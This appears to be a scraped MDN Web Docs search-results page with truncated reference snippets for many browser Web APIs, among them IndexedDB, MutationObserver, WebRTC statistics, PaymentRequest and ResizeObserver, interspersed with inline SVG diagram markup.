<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anch...
... specifications specification status comment html living standardthe definition of 'htmlquoteelement' in that specification.
... living standard html5the definition of 'htmlquoteelement' in that specification.
...And 4 more matches
HTMLUListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="...
... htmlulistelement.compact is a boolean indicating that spacing between list items should be reduced.
... specifications specification status comment html living standardthe definition of 'htmlulistelement' in that specification.
...And 4 more matches
HTMLVideoElement.msIsLayoutOptimalForPlayback - Web APIs
msislayoutoptimalforplayback is a read-only property which indicates whether the video can be rendered more efficiently.
... syntax htmlvideoelement.msislayoutoptimalforplayback: domstring; value boolean value set to true indicates that video is being rendered optimally (better performance and using less battery power).
... if false, improvements can be made to optimize performance.
...And 4 more matches
HTMLVideoElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mono...
... htmlvideoelement.videoheight read only returns an unsigned integer value indicating the intrinsic height of the resource in css pixels, or 0 if no media is available yet.
... htmlvideoelement.videowidth read only returns an unsigned integer value indicating the intrinsic width of the resource in css pixels, or 0 if no media is available yet.
...And 4 more matches
IDBCursor.update() - Web APIs
WebAPIIDBCursorupdate
be aware that you can't call update() (or idbcursor.delete()) on cursors obtained from idbindex.openkeycursor().
... note that you cannot change primary keys using cursor.update(), hence us not changing the album title; this would ruin the integrity of the data.
...note also that you can't directly put cursor.value into an update call, hence the below example using an intermediary updatedata variable.
...And 4 more matches
IDBDatabase.deleteObjectStore() - Web APIs
as with idbdatabase.createobjectstore, this method can be called only within a versionchange transaction.
... exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback.
... for older webkit browsers, you must call first.
...And 4 more matches
IDBFactory.open() - Web APIs
WebAPIIDBFactoryopen
experimental gecko options object options (version and storage) optional in gecko, since version 26, you can include a non-standard options object as a parameter of idbfactory.open that contains the version number of the database, plus a storage value that specifies whether you want to use persistent or temporary storage.
... warning: the storage attribute is deprecated and will soon be removed from gecko.
... note: you can find out more information on the different available storage types, and how firefox handles client-side data storage, at browser storage limits and eviction criteria.
...And 4 more matches
IDBObjectStore.deleteIndex() - Web APIs
note that this method must be called only from a versionchange transaction mode callback.
... return value undefined exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction mode callback.
...has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror occurs if there is no index with the given name (case-sensitive) in the database.
...And 4 more matches
IDBObjectStore.name - Web APIs
the name property of the idbobjectstore interface indicates the name of this object store.
... exceptions there are a several exceptions which can occur when you attempt to change an object store's name.
... invalidstateerror either the object store has been deleted or the current transaction is not an upgrade transaction; you can only rename indexes during upgrade transactions; that is, when the mode is "versionchange".
...And 4 more matches
IDBVersionChangeEvent - Web APIs
the idbversionchangeevent interface of the indexeddb api indicates that the version of the database has changed, as the result of an idbopendbrequest.onupgradeneeded event handler function.
... deprecated properties idbversionchangeevent.version read only the new version of the database in a versionchange transaction.
... warning: while this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes.
...And 4 more matches
IntersectionObserver - Web APIs
the configuration cannot be changed once the intersectionobserver is created, so a given observer object is only useful for watching for specific changes in degree of visibility; however, you can watch multiple target elements with the same observer.
... constructor intersectionobserver.intersectionobserver() creates a new intersectionobserver object which will execute a specified callback function when it detects that a target element's visibility has crossed one or more thresholds.
... intersectionobserver.rootmargin read only an offset rectangle applied to the root's bounding box when calculating intersections, effectively shrinking or growing the root for calculation purposes.
...And 4 more matches
Keyboard - Web APIs
WebAPIKeyboard
the keyboard interface of the the keyboard api provides functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.
... methods keyboard.getlayoutmap() returns a promise that resolves with an instance of keyboardlayoutmap which is a map-like object with functions for retrieving the strings associated with specific physical keys.
... keyboard.lock() returns a promise after enabling the capture of keypresses for any or all of the keys on the physical keyboard.
...And 4 more matches
KeyboardEvent.initKeyboardEvent() - Web APIs
this method was introduced in draft of dom level 3 events, but deprecated in newer draft.
...web applications should use constructor instead of this if it's available.
... syntax kbdevent.initkeyboardevent(typearg, canbubblearg, cancelablearg, viewarg, chararg, keyarg, locationarg, modifierslistarg, repeat) parameters typearg the type of keyboard event; this will be one of keydown, keypress, or keyup.
...And 4 more matches
KeyboardEvent.keyCode - Web APIs
the deprecated keyboardevent.keycode read-only property represents a system and implementation dependent numerical code identifying the unmodified value of the pressed key.
...if the key can't be identified, this value is 0.
... you should avoid using this if possible; it's been deprecated for some time.
...And 4 more matches
MediaRecorderErrorEvent.error - Web APIs
when a media​recorder​error​event occurs, you can determine to some extent what went wrong by examining the error property within the media​recorder​error​event received by the mediarecorder's error event handler, onerror.
...the error's name property's value may be any exception that makes sense during the handling of media recording, including these specifically identified by the specification.
... notsupportederror a mediarecorder couldn't be created because the specified options weren't valid.
...And 4 more matches
Media Session action types - Web APIs
to support an action on a media session, such as seeking, pausing, or changing tracks, you need to call the mediasession interface's setactionhandler() method to establish a handler for that action.
...if you intend to perform multiple seekto operations in rapid succession, you can also specify the mediasessionactiondetails property fastseek property with a value of true.
... this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance.
...And 4 more matches
MediaStreamTrackAudioSourceNode - Web APIs
the mediastreamtrackaudiosourcenode interface is a type of audionode which represents a source of audio data taken from a specific mediastreamtrack obtained through the webrtc or media capture and streams apis.
...this interface is similar to mediastreamaudiosourcenode, except it lets you specifically state the track to use, rather than assuming the first audio track on a stream.
... note: you can see this example running live, or view the source.
...And 4 more matches
MediaTrackConstraints.aspectRatio - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
...for example, the standard high-definition video aspect ratio of 16:9 can be computed as 1920/1080, or 1.7777777778.
...And 4 more matches
MediaTrackConstraints.sampleSize - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { samplesize: constraint }; constraintsobject.samplesize = constraint; value if this value is a number, the user agent will attempt to obtain media whose sample size (in bits per linear sample) is as close as possible to this number given the capabilities of the hardware and the other constraints specified.
...And 4 more matches
MessageEvent - Web APIs
cross-worker/document messaging (see the above two entries, but also worker.postmessage(), worker.onmessage, serviceworkerglobalscope.onmessage, etc.) broadcast channels (see broadcastchannel.postmessage()) and broadcastchannel.onmessage).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 13.333333333333334%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 80" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace"...
... messageevent.source read only a messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter.
...And 4 more matches
MutationEvent - Web APIs
the mutationevent interface provides event properties that are specific to modifications to the document object model (dom) hierarchy and nodes.
... note: mutation events (w3c dom level 3 events) have been deprecated in favor of mutation observers (w3c dom4).
... preface the mutation events have been marked as deprecated in the dom events specification, as the api's design is flawed (see details in the "dom mutation events replacement: the story so far / existing points of consensus" post to public-webapps).
...And 4 more matches
MutationObserver - Web APIs
it is designed as a replacement for the older mutation events feature, which was part of the dom3 events specification.
... constructor mutationobserver() creates and returns a new mutationobserver which will invoke a specified callback function when dom changes occur.
... methods disconnect() stops the mutationobserver instance from receiving further notifications until and unless observe() is called again.
...And 4 more matches
MutationObserverInit.attributeFilter - Web APIs
function callback(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": switch(mutation.attributename) { case "status": userstatuschanged(mutation.target.username, mutation.target.status); break; case "username": usernamechanged(mutation.oldvalue, mutation.target.username); b...
...reak; } break; } }); } var userlistelement = document.queryselector("#userlist"); var observer = new mutationobserver(callback); observer.observe(userlistelement, { attributefilter: [ "status", "username" ], attributeoldvalue: true, subtree: true }); the callback() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects.
... for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), we use the attribute's name, obtained using mutationrecord.attributename, to identify the type of change that occurred and then dispatch to the appropriate handler function.
...And 4 more matches
MutationObserverInit.childList - Web APIs
the mutationobserverinit dictionary's optional childlist property indicates whether or not to monitor the specified node or nodes for the addition or removal of new child nodes.
... if childlist is false (the default), adding or removing new nodes does not trigger mutation callbacks.
... by setting childlist to true, your callback will be invoked any time nodes are added to or removed from the dom node or nodes being watched.
...And 4 more matches
MutationObserverInit.subtree - Web APIs
the mutationobserverinit dictionary's optional subtree property can be set to true to monitor the targeted node and all of its descendants.
... the default value, false, indicates only the target node itself is to be monitored for changes.
... subtree can be used in concert with the other options to extend monitoring of attributes, text content, and child lists to the entire subtree rooted at the target node.
...And 4 more matches
Navigator.share() - Web APIs
WebAPINavigatorshare
return value a promise that will be fulfilled once a user has completed a share action (usually the user has chosen an application to share to).
... it will reject immediately if the data parameter is not correctly specified, and will also reject if the user cancels sharing.
... title: 'mdn', text: 'learn web development on mdn!', url: 'https://developer.mozilla.org', } const btn = document.queryselector('button'); const resultpara = document.queryselector('.result'); // must be triggered some kind of "user activation" btn.addeventlistener('click', async () => { try { await navigator.share(sharedata) resultpara.textcontent = 'mdn shared successfully' } catch(err) { resultpara.textcontent = 'error: ' + err } }); sharing files to share files, first test for and call navigator.canshare().
...And 4 more matches
Node.textContent - Web APIs
WebAPINodetextContent
for other node types, textcontent returns the concatenation of the textcontent of every child node, excluding comments and processing instructions.
...(reflows can be computationally expensive, and thus should be avoided when possible.) unlike textcontent, altering innertext in internet explorer (version 11 and below) removes child nodes from the element and permanently destroys all descendant text nodes.
... differences from innerhtml element.innerhtml returns html, as its name indicates.
...And 4 more matches
NodeIterator.whatToShow - Web APIs
syntax var nodetypes = nodeiterator.whattoshow; the values that can be combined to form the bitmask are: constant numerical value description nodefilter.show_all -1 (that is the max value of unsigned long) shows all nodes.
...this is meaningful only when creating a nodeiterator or treewalker with an attr node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...this is meaningful only when creating a nodeiterator or treewalker with an entity node as its root; in this case, it means that the entity node will appear in the first position of the traversal.
...And 4 more matches
OfflineAudioContext - Web APIs
in contrast with a standard audiocontext, an offlineaudiocontext doesn't render the audio to the device hardware; instead, it generates it, as fast as it can, and outputs the result to an audiobuffer.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/aud...
... event handlers offlineaudiocontext.oncomplete is an eventhandler called when processing is terminated, that is when the complete event (of type offlineaudiocompletionevent) is raised, after the event-based version of offlineaudiocontext.startrendering() is used.
...And 4 more matches
PaintWorklet - Web APIs
the paintworklet interface of the css painting api programmatically generates an image where a css property expects a file.
... properties paintworklet.devicepixelratio returns the current device's ratio of physical pixels to logical pixels.
... paintworklet.registerpaint() registers a class programmatically generate an image where a css property expects a file.
...And 4 more matches
PannerNode.distanceModel - Web APIs
the possible values are: linear: a linear distance model calculating the gain induced by the distance according to: 1 - rollofffactor * (distance - refdistance) / (maxdistance - refdistance) inverse: an inverse distance model calculating the gain induced by the distance according to: refdistance / (refdistance + rollofffactor * (math.max(distance, refdistance) - refdistance)) exponential: an exponential distance model calculating the gain induced by the distance according to: pow((math.max(distance, refdistance) / refdistance, -rollofffactor).
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 4 more matches
PannerNode.setPosition() - Web APIs
the setposition() method of the pannernode interface defines the position of the audio source relative to the listener (represented by an audiolistener object stored in the audiocontext.listener attribute.) the three parameters x, y and z are unitless and describe the source's position in 3d space using the right-hand cartesian coordinate system.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 4 more matches
PaymentMethodChangeEvent.methodDetails - Web APIs
the default value is null, indicating that no additional details are available.
... example this example uses the paymentmethodchange event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a visa card as their payment method.
... request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card...
...And 4 more matches
PaymentRequest: merchantvalidation event - Web APIs
bubbles no cancelable no interface merchantvalidationevent event handler property onmerchantvalidation examples in this example, an event handler is established for the merchantvalidation event.
...typically, a client should not access the validation url.
... request.addeventlistener("merchantvalidation", event => { event.complete(async () => { const merchantserverurl = window.location.origin + '/validate?url=' + encodeuricomponent(event.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(response => response.text()); }, false); }; const response = await request.show(); how merchant server handles the validation depends on the server implementation and payment method documentation.
...And 4 more matches
PaymentResponse - Web APIs
the contents of the object depend on the payment method being used; for example, if the basic card payment method is used, this object must conform to the structure defined in the basiccardresponse dictionary.
... paymentresponse.methodname read only secure context returns the payment method identifier for the payment method that the user selected, for example, visa, mastercard, paypal, etc..
...the method takes an object as argument, which is used to signal to the user exactly what is wrong with the payment response so they can try to correct any issues.
...And 4 more matches
PerformanceMeasure - Web APIs
entries of this type are created by calling performance.measure() to add a named domhighrestimestamp (the measure) between two marks to the browser's performance timeline.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/w...
... performanceentry.name returns the name given to the measure when it was created via a call to performance.measure().
...And 4 more matches
PerformanceObserver() - Web APIs
the performanceobserver() constructor creates a new performanceobserver object with the given observer callback.
... the observer callback is invoked when performance entry events are recorded for the entry types that have been registered, via the observe() method.
... syntax var observer = new performanceobserver(callback); parameters callback a performanceobservercallback callback that will be invoked when observed performance events are recorded.
...And 4 more matches
Performance Timeline - Web APIs
the performance timeline api defines extensions to the performance interface to support client-side latency measurements within applications.
...the standard also includes interfaces that allow an application to define performance observer callbacks that are notified when specific performance events are added to the browser's performance timeline.
... performanceentry interface the performanceentry interface encapsulates a single performance entry — that is, a single data point or metric in the performance timeline.
...And 4 more matches
PublicKeyCredential - Web APIs
it inherits from credential, and was created by the web authentication api extension to the credential management api.
...this identifier can be used to look up credentials for future calls to credentialscontainer.get.
... publickeycredential.response read only secure context an instance of an authenticatorresponse object.
...And 4 more matches
PushManager.permissionState() - Web APIs
the permissionstate() method of the pushmanager interface returns a promise that resolves to a domstring indicating the permission state of the push manager.
... note: as of firefox 44, the permissions for notifications and push have been merged.
... if permission is granted for notifications, push will also be enabled.
...And 4 more matches
PushRegistrationManager - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushregistrationmanager experimentaldeprecatedchrome no support noedge no support nofirefox ?
... samsung internet android no support nogetregistration experimentaldeprecatedchrome no support noedge no support nofirefox ?
... samsung internet android no support nohaspermission experimentaldeprecatedchrome no support noedge no support nofirefox ?
...And 4 more matches
RTCIceGathererState - Web APIs
the rtcicegathererstate enumerated type provides the string values which can be returned by an rtcicetransport object's gatheringstate.
... values "new" the rtcicetransport is newly created and has not yet started to gather ice candidates.
... "gathering" the transport is in the process of gathering candidates.
...And 4 more matches
RTCIceServers.urls - Web APIs
WebAPIRTCIceServerurls
these are typically stun and/or turn servers.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "stun:stunserver.example.org" } ] }); notice that only the urls property is provided; the stun server doesn't require authentication, so this is all that's needed.
... a single ice server with authentication the second example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections.
...And 4 more matches
RTCIceTransport.gatheringState - Web APIs
the read-only rtcicetransport property gatheringstate returns a domstring from the enumerated type rtcicegathererstate that indicates what gathering state the ice agent is currently in: "new", "gathering", or "complete".
... syntax gatherstate = rtcicetransport.gatheringstate; value a string from the rtcicegathererstate enumerated type whose value indicates the current state of the ice agent's candidate gathering process: "new" the rtcicetransport is newly created and has not yet started to gather ice candidates.
... "gathering" the transport is in the process of gathering candidates.
...And 4 more matches
RTCIceTransport: gatheringstatechange event - Web APIs
a gatheringstatechange event is sent to an rtcicetransport when its ice candidate gathering state changes.
... the gathering state, whose actual status can be found in the transport object's gatheringstate property, indicates whether or not the ice agent has begun gathering candidates, and if so, if it has finished doing so.
... bubbles no cancelable no interface event event handler property ongatheringstatechange the key difference between gatheringstatechange and icegatheringstatechange is that the latter represents the overall state of the connection including every rtcicetransport used by every rtcrtpsender and every rtcrtpreceiver on the entire connection.
...And 4 more matches
RTCInboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcinboundrtpstreamstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpreceiver for which this object provdes statistics sent to the remote rtcrtpsender.
... an sli packet is used by a decoder to let the encoder know that it's detected corruption of one or more consecutive macroblocks (in scan order) in the received media.
... syntax var slicount = rtcinboundrtpstreamstats.slicount; value an unsigned integer indicating the number of sli packets this receiver sent to the remote sender due to lost runs of macroblocks.
...And 4 more matches
RTCOutboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcoutboundrtpstreamstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpsender received from the remote rtcrtpreceiver for the rtp stream described by this object.
... an sli packet is used by a decoder to let the encoder (the sender) know that it's detected corruption of one or more consecutive macroblocks, in scan order, in the received media.in general, what's usually of interest is that the higher this number is, the more the stream data is becoming corrupted between the sender and the receiver, causing the receiver to request retransmits or to drop frames entirely.
... syntax var slicount = rtcoutboundrtpstreamstats.slicount; value an unsigned integer indicating the number of sli packets the sender received from the receiver due to lost runs of macroblocks.
...And 4 more matches
RTCPeerConnection.addStream() - Web APIs
the obsolete rtcpeerconnection method addstream() adds a mediastream as a local source of audio or video.
...if the signalingstate is set to stable, the event negotiationneeded is sent on the rtcpeerconnection to indicate that ice negotiation must be repeated to consider the new stream.
... syntax rtcpeerconnection.addstream(mediastream); parameters mediastream a mediastream object indicating the stream to add to the webrtc peer connection.
...And 4 more matches
RTCPeerConnection.getConfiguration() - Web APIs
the rtcpeerconnection.getconfiguration() method returns an rtcconfiguration object which indicates the current configuration of the rtcpeerconnection on which the method is called.
... the returned configuration is the last configuration applied via setconfiguration(), or if setconfiguration() hasn't been called, the configuration the rtcpeerconnection was constructed with.
... example this example adds a new certificate to an active connection if it doesn't already have one in use.
...And 4 more matches
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
the rtcremoteoutboundrtpstreamstats property remotetimestamp indicates the timestamp on the remote peer at which these statistics were sent.
... this differs from timestamp, which indicates the time at which the statistics were generated or received locally.
... syntax let remotetimestamp = rtcremoteoutboundrtpstreamstats.remotetimestamp; value a domhighrestimestamp value indicating the timestamp on the remote peer at which it sent these statistics.
...And 4 more matches
RTCRtcpParameters - Web APIs
properties cname the canonical name (cname) being used by rtcp.
...this property cannot be changed once initialized.
... reducedsize a boolean value indicating whether or not reduced size rtcp is configured.
...And 4 more matches
RTCRtpContributingSource.audioLevel - Web APIs
the read-only audiolevel property of the rtcrtpcontributingsource interface indicates the audio level contained in the last rtp packet played from the described source.
... syntax var audiolevel = rtcrtpcontributingsource.audiolevel value a double-precision floating-point number which indicates the volume level of the audio in the most recently received rtp packet from the source described by the rtcrtpcontributingsource.
... this value, which is in the range 0.0 to 1.0, is on a linear scale and its value is defined in dbov, or decibels (overload).
...And 4 more matches
RTCRtpParameters - Web APIs
to obtain the parameters of a sender or receiver, call its getparameters() method: getparameters() getparameters() properties codecs an array of rtcrtpcodecparameters objects describing the set of codecs from which the sender or receiver will choose.
... this parameter cannot be changed once initially set.
...this parameter cannot be changed once initially set.
...And 4 more matches
RTCRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcrtpstreamstats dictionary is a numeric value indicating the number of times the receiver sent a nack packet to the sender.
... a nack (negative acknowledgement, also called "generic nack") packet tells the sender that one or more of the rtp packets it sent were lost in transport.
... syntax var nackcount = rtcrtpstreamstats.nackcount; value an integer value indicating how many times the receiver sent a nack packet to the sender after detecting that one or more packets were lost during transport.
...And 4 more matches
RTCRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcrtpstreamstats dictionary states the number of times the stream's receiving end sent a picture loss indication (pli) packet to the sender.
... a pli packet indicates that some amount of encoded video data has been lost for one or more frames.
... syntax var plicount = rtcrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent by the stream's receiver to the sender.
...And 4 more matches
RTCRtpTransceiver - Web APIs
this pairing of send and receive srtp streams is significant for some applications, so rtcrtptransceiver is used to represent this pairing, along with other important state from the media section.
... properties currentdirection read only a string from the enum rtcrtptransceiverdirection which indicates the transceiver's current directionality, or null if the transceiver is stopped or has never participated in an exchange of offers and answers.
...this association is established, when possible, whenever either a local or remote description is applied.
...And 4 more matches
RTCStats - Web APIs
WebAPIRTCStats
timestamp a domhighrestimestamp object indicating the time at which the sample was taken for this statistics object.
... type a domstring indicating the type of statistics the object contains, taken from the enum type rtcstatstype.
... rtcstats is the foundation of all webrtc statistics objects rtcrtpstreamstats adds to rtcstats information that applies to all rtp endpoints (that is, both local and remote endpoints, and regardless of whether the endpoint is a sender or a receiver) rtcreceivedrtpstreamstats further adds statistics measured at the receiving end of an rtp stream, regardless of whether it's local or remote.
...And 4 more matches
RTCTrackEvent - Web APIs
this event is sent by the webrtc layer to the web site or application, so you will not typically need to instantiate an rtctrackevent yourself.
...you will probably not need to create new track events yourself, since they're typically created by the webrtc infrastructure and sent to the connection's ontrack event handler.
...by default, the array is empty, indicating a streamless track.
...And 4 more matches
Report - Web APIs
WebAPIReport
reports can be accessed in a number of ways: via the reportingobserver.takerecords() method — this returns all reports in an observer's report queue, and then empties the queue.
... via the reports parameter of the callback function passed into the reportingobserver() constructor upon creation of a new observer instance.
...deprecation or intervention.
...And 4 more matches
ReportingObserver - Web APIs
constructor reportingobserver() creates a new reportingobserver object instance, which can be used to collect and access reports.
... examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this...
... tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } else { navigator.getusermedia( constraints, success, failure); } this causes a deprecation report to be generated; because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
...And 4 more matches
ResizeObserver() - Web APIs
the resizeobserver constructor creates a new resizeobserver object, which can be used to report changes to the content or border box of an element or the bounding box of an svgelement.
... syntax var resizeobserver = new resizeobserver(callback) parameters callback the function called whenever an observed resize occurs.
... the function is called with two parameters: entries an array of resizeobserverentry objects that can be used to access the new dimensions of the element after each change.
...And 4 more matches
ResizeObserverEntry - Web APIs
the resizeobserverentry interface represents the object passed to the resizeobserver() constructor's callback function, which allows you to access the new dimensions of the element or svgelement being observed.
... properties resizeobserverentry.borderboxsize read only an object containing the new border box size of the observed element when the callback is run.
... resizeobserverentry.contentboxsize read only an object containing the new content box size of the observed element when the callback is run.
...And 4 more matches
Response - Web APIs
WebAPIResponse
you can create a new response object using the response.response() constructor, but you are more likely to encounter a response object being returned as the result of another api operation—for example, a service worker fetchevent.respondwith, or a simple windoworworkerglobalscope.fetch().
... response.ok read only a boolean indicating whether the response was successful (status in the range 200–299) or not.
... response.redirected read only indicates whether or not the response is the result of a redirect (that is, its url list has more than one entry).
...And 4 more matches
SVGPathSegList - Web APIs
exceptions: a domexception with code no_modification_allowed_err is raised when the list cannot be modified.
... exceptions: a domexception with code no_modification_allowed_err is raised when the list cannot be modified.
... exceptions: a domexception with code no_modification_allowed_err is raised when the list cannot be modified.
...And 4 more matches
SVGStyleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"...
... svg 1.1 defined that a domexception is raised with code no_modification_allowed_err on an attempt to change the value of a read-only attribute.
... svg 1.1 defined that a domexception is raised with code no_modification_allowed_err on an attempt to change the value of a read-only attribute.
...And 4 more matches
SVGURIReference - Web APIs
the svgurireference interface is used to reflect the href attribute and the deprecated xlink:href attribute.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgurireference" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgurireference</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgurireference.href read only an svganimatedstring that represents ...
...the value of the href attribute, and, on elements that are defined to support it, the deprecated xlink:href attribute.
...And 4 more matches
StorageEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4d...
...h="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring represents the key changed.
... the key attribute is null when the change is caused by the storage clear() method.
...And 4 more matches
SubtleCrypto.digest() - Web APIs
